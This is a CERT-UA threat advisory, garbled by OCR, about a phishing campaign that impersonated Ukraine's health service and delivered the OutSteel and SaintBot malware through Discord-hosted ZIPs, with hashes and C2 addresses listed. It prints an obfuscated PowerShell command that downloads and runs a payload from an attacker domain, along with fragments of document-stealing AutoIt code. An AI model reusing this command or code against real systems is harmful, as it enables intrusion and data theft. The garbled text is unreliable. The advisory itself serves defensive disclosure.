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CERT-UA

3aranbHa iHdopmauis

YpagoBoto kKoMaHAO pearyBaHHS Ha KOMM'loTepHi Haa3Bu4anHi nogii YkpaiHnn CERT-UA oTprmaHo iHopmalito
OO0 PO3MOBCIOMKEHHS, Ha4ebTo, Big iMeHi HauioHanbHoi cny6u 300poB’a YkpaiHu, eneKTPpOHHMX NOLUTOBUX
NOBIAOMITEHb, L0 MICTUNN NocunaHHsa Ha ZIP-apxiB, po3milleHuin Ha nybniyHomy cepgici Discord.

3ragaHun ZIP-apxiB MiCTUTb JOKYMEHT-NPUMaHKy Ta ABa iGeHTUYHI hainu-apnuky, y BUNagky BiOKPUTTS SKUX Ha
KOMI'toTepi xxepTBu Oyae BUKOHaHO powershell-komaHay, LWo, B CBO Yepry, Npu3Beae A0 3aBaHTaXKEHHS i 3anycky
wkignueoi nporpamu OutSteel (aata komninauii: 28.01.2022). OctaHHsa 3a6e3neunTb NOLYK Ta BUKPaZEHHS
OOKYMEHTIB Ha KOMM'IOTEPI XXePTBU, @ TaKOX 3aBaHTaXUTb | BUKOHAE LLKiANMBY nporpamy SaintBot (gata komninsuii:
30.04.2021).

3ragaHa aKTUBHICTb CpsiIMOBaHa Ha AepaBHi opraHisadii Ykpainu. BigcnigkoByetbca CERT-UA He nisHiwe Hix 3
kBiTHA 2021 poky 3a ineHTudikatopom UAC-0056.

lHankaTopu KoMmnpomeTauii

Qadnu:

0el6df6845cdel260087902£25842f79 dbaadbd4ace8ffccbh.zip
fa23f43fa759f0£f38cde2b703d98bal5 Homarok 2.docx
7debob5c7d3ddae321fabcfeecaad4819 Iomarok 1.docx.lnk
78e941e780adcl1al59£fdc7090194c96d up74987340.exe
ede3bf69a09cec27ded2d20c95ca78e3 up74987340.dec.exe (OutSteel)
363e2b62£f93c58c177e58dbe0a247fal load74h74830.exe
ab2a92e0£fc5a6f63336e442£34089f16 1406.exe (SaintBot)

Mepexesi:

hxxps://cdn.discordapp[.]com/attachments/908281957039869965/937420906286952568/d5aadbdace8ffcc

hxxp://eumr[.]site/up74987340.exe
hxxp://eumr[.]site/load74h74830.exe
hxxp://185.244.41[.]1109:8080/upld/
hxxp://8003659902[.]space/wp-adm/gate.php
hxxp://smm2021[.]net/wp-adm/gate.php
hxxp://8003659902[.]site/wp-adm/gate.php
eumr[.]site

8003659902 [.]space

smm2021[.]net

8003659902 [.]site

1000020[.]xyz

185.244.41[1.1109

testsid@lthhc-zm[.]com

Xocmoei:

$APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\<uassa_dairy>.exe
$TEMP$\rmm.bat

$TEMPS$\svijhost.exe

$LOCALAPPDATA%\zz%USER%\

HonatkoBa iHcopmauisn

1/2


https://cert.gov.ua/article/18273

OutSteel — wkignmea nporpama, po3pobreHa 3 BUKOPUCTaAHHSIM MOBM nporpaMyBaHHs Autolt; 0CHOBHUI doyHKLiOHan
— BUKpageHHs danniB 3a BU3HAYEHNM Meperikom po3lwimpeHb dannis (nepegaBaHHs danrniB Ha cepeep ynpaeniHHSA
3piricHIoeTbCs 3a gonomoroto HTTP POST-3anuTis).

Haronowyemo Ha HeoBXiAHOCTi 4OAATKOBOIro MOHITOPUHIY 3’€4HaHb 3 Ny6niyHum cepsicom Discord.

MpadcpiuHi 306paxeHHA

From: Info Mailbox ] N —
To: undisclosed-recipients:

Cc

Subject: PO3'ACHeHH LOAO KOPEKTHOCTI BEACHHA ENeKTPOHHYX MEAMUHYX 3aMCIB B ENEKTPOHHI CACTEM] OXOPOHY JA0POB'A , 3 TAKOX BIAMBY NPABUILHOCTI Ta MOBHOTM BEACHHS MEAWUHIX 3aNMCB Ha OnAaTy ocyr

FE
3 moBaroro, Kind regards,

. ] . . . f .
HauionanbHa ciy:k0a 310poB'st YKpaiHu National Health Service of Ukraine
npocn. Crenana bannepu, 19, 19, Stepana Bandery Ave.,

M. Kuis, 04073 Kyiv, 04073, Ukraine
+380 44 426 67 77 hxxps://cdn.discordapp[.]Jcom/
. attachments/9082819570398
69965/937420906286952568/
. ; d5aadb4ace8ffcch.zi
http://nszu.gov.ua P
Local Base Path : C:\Windows\System32\WindowsPowerShell\vi.@\powershell.exe
— (S8 Relative Path : .\l \L L \windows\System32\WindowsPowerShe 11\v1.@\powershell.exe
Command Line Arguments :  .[net.sERviCepOIntmaNAGer]::SEcUritYProTocol .= .[neT.seCUritYPROTOcOLtYPe]::Tls12 ; . .Irm -UrI
("http://eumr.site/up7498734” . .+ .”70.” . .+ ."e” . .+ .”xe” .) -0UTfiLe ”SENv:PubLIc\
GoogleChromeUpdate .exe” ; StArt-PRoCesS ”$eNv:pUblic\GoogleChromeUpdate.exe”
Icon File Name : C:\WINDOWS\system32\imageres.dll
Machine ID : laptop-u
Roaarox 1.docx 1821 815-21.70F
Puc. 1TMpuknag WkignmMBoro enekTpoHHOro nmcta
surl dwnl = 'f
surl = p://18
$dsks = DriveGetDrive("Fix
$rem = 0x0
For $i = 0x1 To $dsks[0x0]
If $dsks[$1] = @HomeDrive Then -
nari " 3pasku BUXigHOTO
Next . .
$dsks[srem] = @HomePath
$u0id < Rex(DriveGetserial (")) KOAY WKIAMBOI porpamu
For $drv = 0x1 To_ $dsks[0x
o Saretarn = glLE;E:F[(Cﬁ&dsks[sdrv], . pdf;*.pp XU;*.csvi*.rtf;*.dot;*.mdb; *.accdb 3 : ; ) OutSteel
For $i = 0x1 To $areturn[0x0]
$name new = StringReplace($areturn[$i], ":", )
$name new = StringReplace(Sname new, '\", /")
HTTP UPLOAD($url & $uuid, $areturn[$i], StringToHex($name new), "', StringToHex($name new))
Next
Locat spatn awnt = eTenpos. vihos " Locat ssoutbin: Ssout savut. Siread, gair, dsattrip
Local sh dwnl = InetGettsurl dunt, $path dwnl, sinet forcereload, $inet downloadbackground) Sesien'siisg
D Case 0x1
° Sleep(0xfa) Case gastrit =
Until Inetcetlnmsn dwnl, $inet downloadcomplete) ssattrib =
InetClose(sh dunl) caseElze
Run( c ] & $path dwnl, "', @SW HIDE) =
sﬂne = Flleréni HH t ,p3><2> " 5233{”5" ingToBinary("0" & @CRLF, ﬁxZJ
FileWrite(shfile, "Gecho & @CRLF) samasks = Stnngsnuﬂssﬂ\emask
FileWrite(shfile, V" & @CRLF For $i = 6x1 To Samasks[6x6]
FileWrite(shfile, & @Scriptame & @CRLF) shdir = Run(@ConSpec & & sspath & /S /8" & $sattrib, @SystemDir, @SW HIDE, 0x6)
Filewrite(shfile, "if exist ' & @ScriptName & ' (goto tryren & @CRLF) Wl OX1d = StdoutRead(shdir, False, True)
FileWrite(shfile, 'star cnd /min /c del "%~f6"& Taskk M cnd.exe /Féexit /b’ & @CRLF) If @error Then
FileClose(shfile) 0
Run(“cnd /¢ start /min rmm.bat’, **, @SW HIDE) 5eread < The
P FTE RO loadur L Satrfilepoth. SeTgi Srtritenme = peraue) [ saresd.
S R e gt istr Finaindtr 4ot tepath, AL 040, SOCTFFFFFE) & 01} Mend
pithets
o {Randon( v If Gerror Then
oo eturn SetError(6x1)
Ena1t
s H\t:ﬂyt:nk!wlvu\t:yal" Thet Seguen seterre o, o) Saout[0x0] = UBound(Saout) + OXfFFIffff
Return Saout
& smltspart by & 6 g EndFunc ;== FILESEARCH
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Puc. 2MNpuknag nporpamHoro Koy LWkianveoi nporpamu OutSteel



